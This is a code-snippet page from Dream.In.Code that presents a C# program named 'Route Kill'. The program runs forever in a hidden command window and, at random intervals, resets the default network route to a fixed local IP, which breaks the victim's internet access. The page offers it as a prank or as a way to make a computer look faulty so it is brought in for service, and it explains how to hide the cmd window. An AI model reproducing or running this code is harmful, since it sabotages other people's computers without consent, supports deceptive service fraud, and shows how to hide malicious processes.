C# School Assignment? Project Due Tomorrow? Chat LIVE With A Programming Expert!

 

Code Snippets

  

C# Source Code


Welcome to Dream.In.Code
Become a C# Expert!

Join 340,165 C# Programmers for FREE! Get instant access to thousands of C# experts, tutorials, code snippets, and more! There are 3,960 people online right now. Registration is fast and FREE... Join Now!




Route Kill

The purpose is to muck with the routing table for either a joke on your friends or in the case of why it was originally made, to create a problem so that the computer would be brought in for service. Snippet also demonstrates how to hide the cmd window when running scripts from a C# application.

Submitted By: snoj
Actions:
Rating:
Views: 1,274

Language: C#

Last Modified: December 24, 2008
Instructions: If need be, change "192.168.1.2" to whatever IP address you require.

Snippet


  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4.  
  5. namespace routekill
  6. {
  7.     static class Program
  8.     {
  9.         /// <summary>
  10.         /// The main entry point for the application.
  11.         /// This simple application routes all internet traffic to 192.168.1.2 or whatever ip it's set to.
  12.         /// The purpose is to muck with the routing table for either a joke on your friends or in the case of
  13.         /// why it was originally made, to create a problem so that the computer would be brought in for service.
  14.         ///
  15.         /// Application changes default route at random times between 1 and 60 seconds.
  16.         /// </summary>
  17.         [STAThread]
  18.         static void Main()
  19.         {
  20.             Random r = new Random();
  21.             System.Threading.Thread.Sleep(r.Next(1, 60) * 1000);
  22.             Process a;
  23.             while (true)
  24.             {
  25.                 //Added ProcessWindowStyle.Hidden which should hide
  26.                 //the cmd window.
  27.                 a = new Process();
  28.                 a.StartInfo.CreateNoWindow = true;
  29.                 a.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
  30.                 a.StartInfo.FileName = "route";
  31.                 a.StartInfo.Arguments = "change 0.0.0.0 mask 0.0.0.0 192.168.1.2";
  32.                 a.Start();
  33.                 a.Close();
  34.                 System.Threading.Thread.Sleep(r.Next(1, 60) * 1000);
  35.             }
  36.         }
  37.     }
  38. }
  39.  
  40.  

Copy & Paste


Comments

There are currently no comments for this snippet. Be the first to comment!

Add comment


You must be registered and logged on to </dream.in.code> to leave comments.





Live C# Help!

Be Social

Dream.In.Code RSS Feed Dream.In.Code LinkedIn Group Follow Us On Twitter Fan Us On Facebook

C# Tutorials

Reference Sheets

C# Snippets

DIC Chatroom

Bye Bye Ads

Monthly Drawing

Thumb Drive

Top Contributors

Top 10 Kudos This Month